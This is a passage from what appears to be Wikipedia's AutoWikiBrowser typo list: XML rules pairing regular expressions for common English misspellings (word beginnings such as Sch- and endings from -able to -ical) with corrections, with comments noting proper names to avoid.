<Typo word="Sch-" find="\b([sS])hc(e(?:dul[a-z]+|m[ae][a-z]*)|is[mt]s?|[mn][ou][a-z]+|o(?:lar[a-z]*|ol[a-z]*))\b" replace="$1ch$2"/>
<Typo word="Sea- (no hyphen)" find="\b([sS])ea-(board?|foods?|m[ae]n|p(?:lanes?|orts?)|w(?:ards?|eeds?|o(?:m[ae]n|rth(?:iness|y))))\b" replace="$1ea$2"/><!--No other sea- words should be corrected; see talk page (Wikipedia_talk:AutoWikiBrowser/Typos#Sea-)-->
<Typo word="und-/unn-/unt-/unv-" find="\bum([dntv][a-z]+)\b(?<!umtv)(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="un$1"/><!--[[!3GPP!]] is domain false positive not umtv and proper nouns by only matching lower case-->
<Typo word="Unn-" find="\b([uU])n(?:nn)?(a(?:med|tural[a-z]*|vigable)|e(?:cessar(?:ily|y)|eded)|otice[a-z]*|umber[a-z]*)\b" replace="$1nn$2"/>
<Typo word="Wh-" find="\b([wW])(ere(?:abouts|by)|is(?:ing|ker(?:ed|s)|tle(?:[ds]|rs?)))\b(?<![Ww]ising\b)" replace="$1h$2"/><!-- avoid wising --->
<Typo word="Xiph-" find="\b([xX])yph([io][a-z]+)\b" replace="$1iph$2"/><!--avoid Xyphus-->
</source>
====Endings====
=====A=====
<source lang="xml">
<Typo word="-XXX(ed/er/ing/ive)" find="(?=([aeiou])([bdfgklmnprstvz])\2{2,})(?<=\b(?:[A-Z][a-z]*|[a-z]+))\1\2{3,}(e(?:d|rs?)|i(?:ngs?|ons?|ves?)|ors?)\b" replace="$1$2$2$3"/><!--cheapened expensive beginning-->
<Typo word="-able (1)" find="\b([aA](?:ccept|rgu)|[cC](?:ap|onfigur)|[fF]orgiv|[hH]ospit|[iI]n(?:[aA](?:ccept|rgu)|[cC](?:ap|onfigur)|[fF]orgiv|[hH]ospit|[mM]istak|[nN]ot|[oO]ppos|[sS]cal|[tT]ranslat|[uU]s|[vV](?:alu|ulner))|[mM]istak|[nN]ot|[oO]ppos|[sS]cal|[tT]ranslat|[uU](?:s|n(?:[aA](?:ccept|rgu)|[cC](?:ap|onfigur)|[fF]orgiv|[hH]ospit|[mM]istak|[nN]ot|[oO]ppos|[sS]cal|[tT]ranslat|[uU]s|[vV](?:alu|ulner)))|[vV](?:alu|ulner))(?:[eiu]a?)b(ilit(?:ies|y)|l[ey])\b" replace="$1ab$2"/>
<Typo word="-able (2)" find="\b([dD]e|[iuIU]nde)(bat|cid|f(?:in|orm)|grad|lect|not|p(?:end|lor|riv)|riv|s(?:ir|pi[cs])|tect)(?:ea|i)bl([ey])\b" replace="$1$2abl$3"/>
<Typo word="-able (3)" find="\b([iI]nre|[rR]e|[uU]nre)(a(?:d|son)|c(?:harge|o(?:gni[sz]|ncil|ver)|ycl)|deem|m(?:ark|ov)|new|p(?:ai?r|ea[lt]|lace|ut)|v(?:iew|oc))(?:[eiu]a?)b(ility|l[ey])\b" replace="$1$2ab$3"/>
<Typo word="-acious" find="(?=acitous)(?<=\b(?:[A-Z][a-z]*|[a-z]+))acitous(?<!anthracitous)(ly|ness(?:es)?)?\b" replace="acious$1"/><!--cheapened expensive beginning-->
<Typo word="-acity" find="(?=ac)(?<=\b(?:[A-Z][a-z]*|[a-z]+))act?iy\b" replace="acity"/><!--cheapened expensive beginning-->
<Typo word="-ail(ed/ing)" find="\b([bB]?|[fhjmnrswFHJNRS]|[tT]r?)aill(ed|ing)\b" replace="$1ail$2"/><!--avoid surnames "(M/W)ailling"-->
<Typo word="-aking" find="(?<=\b(?:[bB](?:re)?|[cC]re|[fF](?:re)?|[lL]e|[mM](?:is(?:b(?:re)?|cre|f(?:re)?|le|m|pe|[rt]|s(?:cre|[hlo]|ne?|pe|t(?:re)?)|w(?:re)?))?|[pP]e|[rR](?:e(?:b(?:re)?|cre|f(?:re)?|le|m|pe|[rt]|s(?:cre|[hlo]|ne?|pe|t(?:re)?)|w(?:re)?))?|[tT]|[sS](?:cre|[hlo]|ne?|pe|t(?:re)?)|[wW](?:re)?))kaing(s)?\b" replace="aking$1"/><!--cheapened expensive beginning-->
<Typo word="-ality" find="(?<=\b(?:[dD]u|[eE]qu|[fnFN](?:at|orm)|[lL](?:eg|oc)|[qQ]u|[rR]eg?|[tT]o[nt]|[vV]it))all+it(ies|y)\b" replace="alit$1"/><!--cheapened expensive beginning-->
<Typo word="-ally (1)" find="(?=aly)(?<=\b(?:(?:[A-Z][a-z]*|[a-z]+)(?:[cd]i|er|gi|i(?:[cn]|on)|li|n[it]|ot|son|[tv]i)))aly\b(?<!Finaly|qualy)" replace="ally"/><!--avoid B(r)ialy, Castaly, Finaly, qualy--><!--see also "-ically", "-ually"--><!--cheapened expensive beginning-->
<Typo word="-ally (2)" find="(?=aly)(?<=\b(?:(?:[A-Z][a-z-]*|[a-z-]+)(?:[enu]|ic?)))alyl?\b(?<!(?:Ann?|B(?:allyhe|i|on|ri)|br?i|C(?:onne|re)|D(?:e|o[nu])|F(?:e|in)|G(?:lene|re)|He|K(?:an|e(?:nn?e)?|i(?:lte|nn?s?e))|M(?:cNealy|e)|me|N(?:an|e)|Que?|S(?:e|[hm]e|pezi)|Vit|Whe)aly|[lL]inalyl|oualy|[sS]ialyl)" replace="ally"/><!--avoid many proper names; cheapened expensive beginning-->
<Typo word="-alty" find="\b([aA]dmir|[cC]asu|[dD]isloy|[lL]oy|[mM]ayor|[pP]en|[rR]oy)(?:a(?:lit|tl)|lat)(ies|y)\b" replace="$1alt$2"/><!--see also "-lty"-->
<Typo word="-ament" find="\b([fF]il|[lL]ig|[tT](?:est|ourn))ia?ment(ary|s?)\b" replace="$1ament$2"/>
<Typo word="-anging" find="(?<=\b(?:[aA]rr|[pP]?[rR]earr|(?:[eE]x|[iI]nter|[sS]hort|[uU]n)?[cC]h|[dD]er|[rR]))an(?:egi|gei)?ng\b" replace="anging"/><!--cheapened expensive beginning-->
<Typo word="-anical" find="\b([bB]ot|[mM]ech|[pP]urit|[sS]at)annical(ly|s?)\b" replace="$1anical$2"/>
<!--"-ance" & "-ant" errors, some separated rules for convenience, grouped together here-->
<Typo word="-an(ce/t)" find="\b([aA](?:bund|dam|ttend)|(?:[dD]is|[rR]e)?[aA]ppear|[aA]sson|[cC]o(?:gni[sz]|nson)|[dD](?:efend|isson)|[iI]gnor|[mM]erch|[oO]xid|[rR]ecogni[sz]|[sS]erv|[vV]ac)(?:and|en)(c(?:es?|ies?|y)|t(?:ly|s?))\b" replace="$1an$2"/>
<Typo word="-(t)an(ce/t)" find="\b([aA](?:c(?:cep|qu(?:ain|it))|dmit)|[bB]la|[cC]omba|[eE]xpec|[hH](?:abi|e[rs]i)|[iI](?:mp[ao]r|nh(?:abi|e[rs]i))|[mM]ili|[nN]oncomba|[pP]it|[rR]e(?:luc|mit|pen))t[ei]n((?:c[eiy]|t(?<!\b[rR]emittent))[a-z]*)\b" replace="$1tan$2"/><!--allow remittent-->
<Typo word="-(st)ance" find="\b([aA]ssi|[cC]on|[dD](?:esi|i)|[iI]n|[rR]esi|[sS]ub)st[ei]n(ci?[ey][ds]?|t[a-z]*)\b(?<!\b[dD]istention\b)" replace="$1stan$2"/>
<Typo word="-(st)ant" find="\b([aA]ssi|[cC]on|[dD]i|[iI]n(?:con)?|[rR]esi)st(?:atn|ent)(ly|s?)\b" replace="$1stant$2"/>
<Typo word="-ard(s/ian/son)" find="\b([eE]dw|[hH]ow|[rR]ich)rad(ians?|s?|sons?)\b" replace="$1ard$2"/>
<Typo word="-ary" find="\b([bB]ound|[dD]iction|[lL]egend|[pP]rim|[sS](?:al|econd)|[tT]ern)e?r(ies|y)\b" replace="$1ar$2"/>
<Typo word="-asion" find="\b([aA]br|[eE]v|[iI]nv|[oO]cc|[pP]ersu)ation(al(?:ly)?|s?)\b" replace="$1asion$2"/>
<Typo word="-ately_" find="(?=atly)(?<=\b(?:[A-Z][a-z]*|[a-z]+)[bcdgimstv])atly\b" replace="ately"/><!--cheapened expensive beginning-->
<Typo word="-athlon" find="\b([bB]i|[dD]ec|[hH]ept|[pP]ent|[tT]ri)ath[ae]l(etes?|ons?)\b" replace="$1athl$2"/>
<Typo word="-atian" find="\b(Als|Dalm|Gal)ation(s)?\b" replace="$1atian$2"/>
<Typo word="-atile" find="\b([nN]onv(?:ers|ol)|[vV](?:ers|ol))itile(ly|ness)?\b" replace="$1atile$2"/>
<Typo word="-atility" find="\b([vV](?:ers|ol))it(?:il[ai]|li)t(ies|y)\b" replace="$1atilit$2"/>
<Typo word="-ation" find="(?=at)(?<=\b(?:[A-Z][a-z]*|[a-z]+))ati?oin(al(?:ly)?|ed|ing|s?)\b" replace="ation$1"/><!--cheapened expensive beginning-->
<Typo word="-atious" find="\b([fF]lirt|[oO]stent|[vV]ex)ac(ious[a-z]*)\b" replace="$1at$2"/>
<Typo word="-atoes" find="\b([pP]ot|[tT]om)atos\b" replace="$1atoes"/>
</source>
=====B=====
<source lang="xml">
<Typo word="-berg" find="\b([aA]nnen|[hH]eidel|[nN]urem|[tT]annen|[wW][uü]rt+em)bo?urg\b" replace="$1berg"/><!--avoid Gutenburg-->
<Typo word="-burg" find="\b([gG](?:ettys|othen)|[hH]a[bp]s|[lL]ynch|[vV]icks)b(?:e|ou)rg\b" replace="$1burg"/>
<Typo word="-bility" find="(?=b(?:il|li))(?<=\b(?:[A-Z][a-z]*|[a-z]+))b(?:il|li)(?:li?)?t(ies|y)\b" replace="bilit$1"/><!--cheapened expensive beginning-->
<Typo word="-builder" find="\b([bB]ody|[hH]ome|[sS]hip)[d\-]build(ers?|ing)\b" replace="$1build$2"/>
</source>
=====C=====
<source lang="xml">
<Typo word="-cede (1)" find="\b([aA]ntec|[cC](?:onc)?|[iI]nterc|[pP]rec|[rsRS]ec)eed(e(?:[ds]?|nts?|rs?)|ing)\b" replace="$1ed$2"/>
<Typo word="-cede (2)" find="\b([aA]ntec|[cC](?:onc)?|[iI]nterc|[pP]rec|[rsRS]ec)eed(s)?\b" replace="$1ede$2"/>
<Typo word="-cedent" find="\b([aA]nt|[pP]r|[uU]npr)ec(?:en|i)den(t(?:ed(?:ly|ness)?|ial|less|s?)|c[ey])\b" replace="$1eceden$2"/>
<Typo word="-cei(p)t" find="\b([cC]on|[drDR]e)cie(pt|t)(ed|ful(?:ly)?|s?)\b" replace="$1cei$2$3"/>
<Typo word="-ceive" find="(?<=\b(?:[AIMRU]?[aeimnprsu]*[pP]er|[dD]e|[IMPRU]?[aeilmnprsu]*[cC]on|[rR]e|[tT]rans))c(?:e?|eie|ie?)v(ables?|e(?:[ds]?|r(?:s(?:hip)?)?)|ing)\b" replace="ceiv$1"/><!--cheapened expensive beginning-->
<Typo word="-ceiving" find="(?<=\b(?:[AIMRU]?[aeimnprsu]*[pP]er|[dD]e|[IMPRU]?[aeilmnprsu]*[cC]on|[rR]e|[tT]rans))c(?:ei|ie)ve(ables?|ing)" replace="ceiv$1"/><!--cheapened expensive beginning-->
<Typo word="-ceps" find="\b([qQ]uad|[tT])ricep(?:ts?)?\b" replace="$1riceps"/>
<Typo word="-cidental(ly)" find="\b([aA]c|[cC]oin|[iI]n)c(?:edenti?al?|ident(?:a|ial))(ly|s?)\b" replace="$1cidental$2"/>
<Typo word="-cious" find="\b([cC]ons|[gG]ra|[jJ]udi|[lL]us|[mM]ali|[pP]re(?:co|da)?|[sS](?:p[ae]|uspi)|[vV](?:era|i|ora))(?:c(?:i(?:o(?:iu|ui)|uo)|o(?:iu|ui))|sciou)s(ly|ness)?\b" replace="$1cious$2"/>
<Typo word="-(c/l/t)ious" find="(?=ioous)(?<=\b(?:[A-Z][a-z]*|[a-z]+)[clt])ioous([a-z]*)\b" replace="ious$1"/><!--cheapened expensive beginning-->
<Typo word="-cipient" find="\b([eE]x|[iI]n|[pP]er|[rR]e)c(?:epie|ipia)n(c[ey]|t(?:ly|s?))\b" replace="$1cipien$2"/>
<Typo word="-claim" find="\b([aA]c|[dD]is|[eE]x|[pP]ro|[rR]e)cliam(e(?:d|rs?)|ing|s?)\b" replace="$1claim$2"/>
<Typo word="-clamation" find="\b([dD]e|[eE]x|[pP]ro|[rR]e)cl(?:ai|o)mat(ions?|ory)\b" replace="$1clamat$2"/>
<Typo word="-clude" find="\b([cC]on|[eE]x|[iI]n|[oO]c|[pP]re|[sS]e)culd(e[ds]?|ing)\b" replace="$1clud$2"/>
<Typo word="-clusion" find="\b([cC]on|[eE]x|[iI]n|[oO]c)lu(d(?:e[ds]?|ing)|si(?:ons?|ve(?:ly)?))\b" replace="$1clu$2"/>
<Typo word="-comer" find="\b([iI]n|[lL]ate|[nN]ew|[wW]el)commer(s)?\b" replace="$1comer$2"/>
<Typo word="-courage" find="\b([dD]is|[eE]n)co(?:rage?|ur(?:age|ge?))(e[dr]?s?|ing(?:ly)?)\b" replace="$1courag$2"/>
<Typo word="-covered" find="\b([cC](?:odisc)?|[dD]isc|[rR]e(?:c|disc)|[sS]lip|[uU]n(?:c(?:odisc)?|disc|rec))over(?:d|es)\b" replace="$1overed"/>
<Typo word="-crease" find="\b([dD]e|[iI]n)cres(able|e[drs]?|ing(?:ly)?)\b" replace="$1creas$2"/>
<Typo word="-cumbent" find="\b([dD]e|[iI]n|[rR]e)cumban(c(?:ies|y)|t(?:ly|s?))\b" replace="$1cumben$2"/>
<Typo word="-current" find="\b([cC]on|[oO]c|[rR]e(?:oc)?)cur(?:[ae]|ra)n(ces?|t(?:ly)?)\b" replace="$1curren$2"/>
<Typo word="-cycle (2)" find="\b([bB]|[eE]p|tr|[uU]n)yc[iy]cl(e(?:[ds]?|like|rs?)|i(?:c|ng|sts?))\b" replace="$1icycl$2"/><!--excludes Trycycle musician-->
<Typo word="-cycle" find="\b([bB]i|[eE]pi|[mM]otor|[rR]e|[tT]ri|[uU]ni)c(?:icl|ylc?)([aei][a-z]*)\b(?<!icicleta|Tricicle)" replace="$1cycl$2"/><!--avoid Tricicle theatre group-->
</source>
=====D=====
<source lang="xml">
<Typo word="-dition" find="\b([aA][du]|[cC]on|[dD]e|[eE](?:xpe)?|[pP]er|[rR]en?|[sS]e|[tT]ra)(?:d(?:i(?:dtio|o|t(?:i(?:on|tio)?|o))|tio)|i(?:dtio|tio))n(a(?:l(?:ly)?|ry)|ed|ing|s?)\b(?<![aA]udions?)" replace="$1dition$2"/><!--avoid Audion-->
<Typo word="-dolence" find="\b([cC]on|[iI]n|[rR]e)dolan(ces?|t(?:ly)?)\b" replace="$1dolen$2"/>
<Typo word="-dth" find="\b([bB]andwi|[hH](?:a(?:irbrea|nds?brea)|undre)|[tT]housan)th(s)?\b" replace="$1dth$2"/>
<Typo word="-ducible" find="\b([cC]on|[dD]e|[iI](?:n|rre(?:pro)?)|[pP]ro|[rR]e(?:pro)?|[sS]e)duce?ab(ility|l[ey])\b" replace="$1ducib$2"/>
<Typo word="-ductible" find="\b([cC]on|[dD]e|[iI]n|[nN]onde)ductab(ility|l[ey])\b" replace="$1ductib$2"/>
<Typo word="-duction" find="(?<=\b(?:[aA](?:[bd]|utopro)|[cC]o(?:n|pro)|[dD]e(?:xtro)?|[hH]yperpro|[iI]n(?:tro)?|[kK]inopro|[nN]onpre|[oO]verpre|[pP](?:ostpre|r[eo])|[rR]e(?:d?|intro|[pt]ro)|[sS](?:e|u(?:perpro|rpro))|[uU]nderpro|[yY]pro))du(?:c[it]|ti)on(s)?\b" replace="duction$1"/><!--cheapened expensive beginning-->
<Typo word="-ductor" find="\b([aA][bd]|[cC]on|[dD]e|[iI]n)ducter(s)?\b" replace="$1ductor$2"/>
</source>
=====E=====
<source lang="xml">
<Typo word="-eable" find="\b([cC]halleng|[iI]r(?:challeng|knowledg|notic|replac)|[kK]nowledg|[nN]otic|[rR]eplac|[uU]n(?:challeng|knowledg|notic|replac))[ai]bl([ey])\b" replace="$1eabl$2"/>
<Typo word="-eaning" find="(?=ean)(?<=\b(?:[A-Z][a-z]*|[a-z]+))ean(?:in|ni)ng\b" replace="eaning"/><!--cheapened expensive beginning-->
<Typo word="-ecession" find="\b([pP]r|[rsRS])ec(?:ces?|e)sion(al|is(?:m|ts?)|s?)\b" replace="$1ecession$2"/>
<Typo word="-elie(f/ve)" find="\b([brBR]|[dmDM]isb|[nN]onb|[uU]nb)eleie?(fs?|v(?:abl[ey]|e(?:[ds]?|rs?)|ing))\b" replace="$1elie$2"/>
<Typo word="-ely" find="\b([aA]ctiv|[cC]los|[dD]ens|[eE]ntir|[fF](?:als|ierc)|[iI](?:mmens|n(?:activ|clos|dens|entir|f(?:als|ierc)|immens|l(?:a(?:rg|t)|i[kv]|o(?:n|os))|nam|precis|s(?:ever|incer|pars)|wid))|L(?:a(?:rg|t)|i[kv]|on)|l(?:a(?:rg|t)|i[kv]|o(?:n|os))|[nN]am|[pP]recis|[sS](?:ever|incer|pars)|[uU]n(?:activ|clos|dens|entir|f(?:als|ierc)|immens|l(?:a(?:rg|t)|i[kv]|o(?:n|os))|nam|precis|s(?:ever|incer|pars)|wid)|[wW]id)l+e?y\b(?<!Densley)" replace="$1ely"/>
<!--"-ence" & "-ent" errors, grouped here-->
<Typo word="-en(ce/t)" find="(?<=\b(?:[aA]ccid|[cC]li|[dD]isobedi|[eE]xcell|[iI]ngredi|[lL]eni|[oO]bedi|[sS]uperintend|[tT]ranscend|[vV]iol))an(c[ey]|t[a-z]*)\b(?<!Violant[aei])" replace="en$1"/><!--avoid the names Violant[aei]; cheapened expensive beginning-->
<Typo word="-ently" find="(?<=\b(?:[aA]ppar|[cC]urr|[dD]ec|[eE]vid|[iI]nt|[pP]res|[rR]ec|[sS]il))enlty\b" replace="ently"/><!--see also "-equently"--><!--cheapened expensive beginning-->
<Typo word="-(t)ence" find="\b([aA]dver|[cC]ompe|[iI](?:mp(?:eni|o|re)|n(?:adver|compe))|[lL]a|[pP](?:eni|o|re)|sen)tan(c(?:e[ds]?|ies?|y)|t(?:ial|ly|s?))\b" replace="$1ten$2"/>
<Typo word="-(ist)ence" find="\b([cC]o(?:ex|ns)|[eE]x|[iI]n(?:cons|s)|[nN]onex|[pP]reex|[sS]ubs)ist[ai]n(ci?[ey]s?|t[a-z]*)\b" replace="$1isten$2"/>
<!--end "-ence" errors-->
<Typo word="-enness" find="\b([dD]runk|[eE]v|[kK]e|[oO]p|[sS][ou](?:dd|ll))eness\b" replace="$1enness"/>
<Typo word="-ennial" find="\b([bB]i(?:cent)?|[cC]ent|[mM]ill|[pP]er|[qQ]u(?:adri?(?:cent)?|in(?:qu|t))|[sS]e(?:mi(?:cent)?|squi(?:cent)?)|[tT]ri(?:cent)?)e(?:nte)?nial([a-z]*)\b" replace="$1ennial$2"/>
<Typo word="-eous" find="\b([cC](?:ourt|rustac|utan)|[dD]is(?:c(?:ourt|rustac|utan)|g(?:as|org)|herbac|i(?:gn|nstantan)|proteinac|right|spontan|vitr)|[gG](?:as|org)|[hH]erbac|[iI](?:gn|nstantan)|[pP]roteinac|[rR]ight|[sS](?:pontan|ub(?:c(?:ourt|rustac|utan)|g(?:as|org)|herbac|i(?:gn|nstantan)|proteinac|right|spontan|vitr))|[uU]n(?:c(?:ourt|rustac|utan)|g(?:as|org)|herbac|i(?:gn|nstantan)|proteinac|right|spontan|vitr)|[vV]itr)(?:euo|iou|uo)(s[a-z]*)\b" replace="$1eou$2"/><!--see also "-geneous"-->
<Typo word="-equently" find="\b([cC]ons|[fF]r|[iI]nfr|[sS]ubs)en?qu(?:antl|en(?:lt|nt(?:il+|ual+)))y\b" replace="$1equently"/>
<Typo word="-ereal" find="\b([eE]th|[sS]id|[vV]en)eri?al(ly)?\b" replace="$1ereal$2"/>
<Typo word="-ertain" find="\b([cC]|[eE]nt|[uU]nc)ertian([a-z]*)\b" replace="$1ertain$2"/>
<Typo word="-escent" find="\b([aA](?:cqui|dol)|[cC](?:o(?:al|nval)|r)|[eE](?:fferv|van)|[iI](?:ncand|rid)|[oO]bsol)e(?:cs?e|s(?:ca|e))n(ce|ts?)\b" replace="$1escen$2"/>
<Typo word="-ese" find="\b([cC]hin|[dD]ioc|[jJ]a[pv]an|[lL]eban|[mM]alt|[pP]ortugu|[sS]iam)e[aes]se\b" replace="$1ese"/>
<Typo word="-esident" find="\b([cC]op?r|[nN]onp?r|[pP]r|[rR])(?:ei?s|si)di?en(c(?:[ey]|i(?:al(?:ly)?|es))|t(?:es?|s?|ia(?:l(?:ly)?|ry)|ships?))\b" replace="$1esiden$2"/>
<Typo word="-etary" find="\b([dD]i|[mM]on|[pP](?:lan|ro(?:l|pri))|[sS]ecr)(?:at[ae]|et[eo])r(i(?:a[lt]?|es|ly|s[mt]s?|um?)|y)\b(?<![pP]roprietorial|[sS]ecretory)" replace="$1etar$2"/>
<Typo word="-ever" find="\b([fF]or|[hH]ow|[wW]her)eever\b" replace="$1ever"/>
<Typo word="-exper-" find="([eE])pxer([a-z]+)\b" replace="$1xper$2"/>
<Typo word="-eys" find="\b([aA]ttorn|[cC]himn|[dD]onk|[jJ](?:ers|ourn)|[pP]ull|[tT]urk)(?:ie|y)s\b" replace="$1eys"/>
</source>
=====F=====
<source lang="xml">
<Typo word="-fered" find="\b([dD]if|[oO]f|[pP](?:il|rof)|[sS]uf|[wW]a)ferr(ed|ings?)\b" replace="$1fer$2"/>
<Typo word="-ference" find="(?<=\b(?:(?:[A-Z][a-z]*|[a-z]+)(?:con|trans)|[cC](?:ircum|on)|[dD](?:e|if)|[iI]n(?:dif|ter)?|[pP][dr]e|[rR]e|[tT]rans))f(?:er(?:an|e(?:m|r[ae]n)|ne?|r[ae]n)|fer(?:e(?:m|r[ae]n)|r[ae]n)|r[ae]n)(c(?:e[drs]?|ing)|t(?:ial(?:ly|s?)|ly|s?))\b(?<!Defrance)" replace="feren$1"/><!--cheapened expensive beginning-->
<Typo word="-fering" find="(?=fereing)(?<=\b(?:[A-Z][a-z]*|[a-z]+))fereing(s)?\b" replace="fering$1"/><!--cheapened expensive beginning-->
<Typo word="-ferred" find="\b([cC]on|[dD]e|[iI]n|[pP][dr]e|[rR]e|[tT]rans)f(?:e|fer?)r(als?|e[dr]|ing)\b" replace="$1ferr$2"/>
<Typo word="-ficent" find="\b([bB]ene|[mM](?:agni|uni))f(?:[ae]ce|ic(?:a|ie))n(ce|t(?:ly)?)\b" replace="$1ficen$2"/>
<Typo word="-ficial" find="\b([aA]rti|[oO]f|[sS](?:acri|uper)|[uU]nof)fical(ity|ly|s?)\b" replace="$1ficial$2"/>
<Typo word="-field" find="(?<=\b(?:[aA](?:ir)?|[bB](?:a(?:ck|ttle)|[lr]oo[km])|[cC](?:an|hester|o(?:al|rn))|[dD]own|[gG]a[rs]|[hH]ome|[iI]n|[mM](?:a(?:ke|ns|se)|i(?:d|ne))|[oO](?:il|ut)|[sS](?:cho|hef|now|pring)|[uU]p)?)feild([a-z]*)\b" replace="field$1"/><!--avoid surname Feild; cheapened expensive beginning-->
<Typo word="-fifth" find="\b([eE]igh|[fF](?:if|or)|[nN]ine|[sS](?:even|ix)|[tT](?:hir|wen))ty-([fF])ith\b" replace="$1ty-$2ifth"/>
<Typo word="-finite" find="\b([aA]ff|[dD]ef|[iI]n(?:def|f))(?:fin(?:[aei]te?)|i(?:anite|n(?:[ae]te?|it(?<!\bSRK Infinit))))(ly|ness|s?)\b" replace="$1inite$2"/><!--avoid 'SRK Infinit'-->
<Typo word="-finit(iv)e" find="\b([dD]e|[iI]n(?:de)?)f+inat([ei][a-z]*)\b" replace="$1finit$2"/>
<Typo word="-first" find="\b([eE]igh|[fF](?:if|or)|[nN]ine|[sS](?:even|ix)|[tT](?:hir|wen))ty-([fF])r?ist\b" replace="$1ty-$2irst"/>
<Typo word="-flict" find="\b([aA]f|[cC]on|[iI]n)fil?ct(ed|ing(?:ly)?|s?)\b" replace="$1flict$2"/>
<Typo word="-fluent" find="\b([aA]f|[cC]on|[eE]f|[iI]n|[sS]uper)f(?:lua|ule)n(c[ei][a-z]*|t(?:i[a-z]+|ly|s?))\b" replace="$1fluen$2"/>
<Typo word="-form" find="\b([cC]on|[dD]e|[iI]n|[pP](?:er|lat)|[rR]e|Uni)fr?om(ati(?:ons?|ve(?:ly)?)|ances?|ed|i(?:ng|ty)|ly|s?)\b" replace="$1form$2"/>
<Typo word="-fourth" find="\b([eE]igh|[fF](?:if|or)|[nN]ine|[sS](?:even|ix)|[tT](?:hir|wen))ty-([fF])orth\b" replace="$1ty-$2ourth"/>
<Typo word="-friend" find="\b([bB](?:e|oy)|[gG]irl|[uU]n)freind(ed|ly|s?)\b" replace="$1friend$2"/>
<Typo word="-ful" find="(?<=\b(?:[bB]eauti|[cC](?:are|heer)|[dD]is(?:beauti|c(?:are|heer)|event|gra[ct]e|help|p(?:eace|ower)|s(?:poon|uccess)|use|wonder)|[eE]vent|[gG]ra[ct]e|[hH]elp|[pP](?:eace|ower)|[sS](?:poon|uccess)|[uU](?:n(?:beauti|c(?:are|heer)|event|gra[ct]e|help|p(?:eace|ower)|s(?:poon|uccess)|use|wonder)|se)|[wW]onder))full(ly|ness|s?)\b" replace="ful$1"/><!--cheapened expensive beginning-->
<Typo word="-fully" find="(?=fuly)(?<=\b(?:[A-Z][a-z]*|[a-z]+))fuly\b" replace="fully"/><!--cheapened expensive beginning-->
</source>
=====G=====
<source lang="xml">
<Typo word="-gement" find="\b([aA]rran|[dD]isenga|[eE]n(?:g(?:a|or)|lar)|[iI](?:mpin|nfrin)|[rR]earran)gment(s)?\b" replace="$1gement$2"/>
<Typo word="-geneity" find="\b([hH](?:eter|om)|[iI]nh(?:eter|om))ogenit(ies|y)\b" replace="$1ogeneit$2"/>
<Typo word="-geneous" find="\b([hH](?:eter|om)|[iI]nh(?:eter|om))ogeni(ous[a-z]*)\b" replace="$1ogene$2"/>
<Typo word="-geni(s/z)e" find="(?=genei)(?<=\b(?:[A-Z][a-z]*|[a-z]+))genei([sz][a-z]+)\b" replace="geni$1"/><!--cheapened expensive beginning-->
<Typo word="-gest" find="\b([cC]on|[dD]i|[iI]n)jest(ed|i(?:ng|on|ves?)|s?)\b" replace="$1gest$2"/>
<Typo word="-goes" find="\b([eE]mbar|[jlJL]in|[uU]nder)gos\b" replace="$1goes"/>
<Typo word="-gogue" find="\b([dD]em|[eE]m?|m(?:en)?|Men|[pP]ed|[sS]yn)?(?:agoug|ogogu?)e(s)?\b" replace="$1agogue$2"/>
<Typo word="-grade" find="\b([dD](?:e|own)|[uU]p)gradd+(e[ds]?|ing)\b" replace="$1grad$2"/>
<Typo word="-(g/p)ressive" find="(?=[gp]res)(?<=\b(?:[A-Z][a-z]*|[a-z]+))([gp]res)i(ons?|ve[a-z]*)\b" replace="$1si$2"/><!--cheapened expensive beginning-->
<Typo word="-ground" find="\b([aA]bove|[bB](?:a(?:ck|ttle)|elow)|[cC]amp|[fF](?:air|ore)|[pP]lay|[uU]nder)(?:g(?:or?un|ro(?:oun|u))|roun)d([a-z]*)\b" replace="$1ground$2"/>
</source>
=====H=====
<source lang="xml">
<Typo disabled="-handed" find="\b([lL]ef|[rR]igh)t\s*hande(d|rs?)\b" replace="$1t-hande$2"/><!--nothing wrong with separate words-->
<Typo word="-herent" find="\b([aA]d|[cC]o|[iI]n(?:co)?)he(?:ar[ae]|ra)n(c[ey]|t[a-z]*)\b" replace="$1heren$2"/>
<Typo word="-hibition_" find="\b([eE]x|[iI]n|[pP]ro)habiti(ons?|ve(?:ly)?)\b" replace="$1hibiti$2"/>
</source>
=====I=====
<source lang="xml">
<Typo word="-ian" find="\b(As|C(?:hrist|ivil)|civil|Egypt|Ind|[mM]usic|[pP]edestr)ain(i(?:sm|ty)|s(?:ity)?)?\b" replace="$1ian$2"/>
<Typo word="-ian(ce/t)" find="\b([aA]lleg|[bB]rill|[iI]nvar|r(?:ad|el)|R(?:ad|el(?!ient\s+K))|[vV]ar)(?:ai|ie)n(ces?|ts?)\b" replace="$1ian$2"/><!--avoid Relient K (band)-->
<Typo word="-iation" find="\b([aA](?:bbrev|llev|ssoc)|[dD]ev|[hH]umil|[iI]nit|[rR]ad|[vV]ar)ati(ons?|ve)\b" replace="$1iati$2"/>
<Typo word="-ible" find="\b([aA]ud|[cC]r(?:ed|uc)|[eE](?:d|lig)|[fF]lex|[hH]orr|[iI][nr](?:aud|cr(?:ed|uc)|e(?:d|lig)|flex|horr|t(?:ang|err)|vinc)|[tT](?:ang|err)|[vV]inc)ab(ility|l[ey]s?)\b" replace="$1ib$2"/>
<Typo word="-(s)ible" find="(?<=\b(?:[aA]dmis|[dD](?:efen|ivi)|[fF]ea|[iI][mnr](?:admis|d(?:efen|ivi)|fea|mer|osten|p(?:lau|os)|rever|[st]en|vi)|mer|[oO]sten|[pP](?:lau|os)|[rR]ever|[stST]en|[vV]i))sab(ility|l[ey])\b" replace="sib$1"/><!--cheapened expensive beginning-->
<Typo word="-(t)ible" find="\b([cC]o(?:mpa|nver|rrup)|[iI][mnr](?:co(?:mpa|nver|rrup)|percep|resis|sugges)|[pP]ercep|[rR]esis|[sS]ugges|[uU][mnr](?:co(?:mpa|nver|rrup)|percep|resis|sugges))tab(ility|l[ey])\b" replace="$1tib$2"/>
<Typo word="-ical" find="\b([aA]tr?[oy]p|[cC](?:lin|rit)|[eE]lectr|[gG]eograph|[iI]dent|[lL]og|M(?:ag|etaphor)|m(?:ag|etaphor|us)|[pP](?:ho[nt]ograph|olit|ract)|[tT](?:e(?:chn|legraph)|op|r[oy]p|yp))(?:c?|ic)ial(ly|s?)\b" replace="$1ical$2"/><!--avoid Stan Musial-->
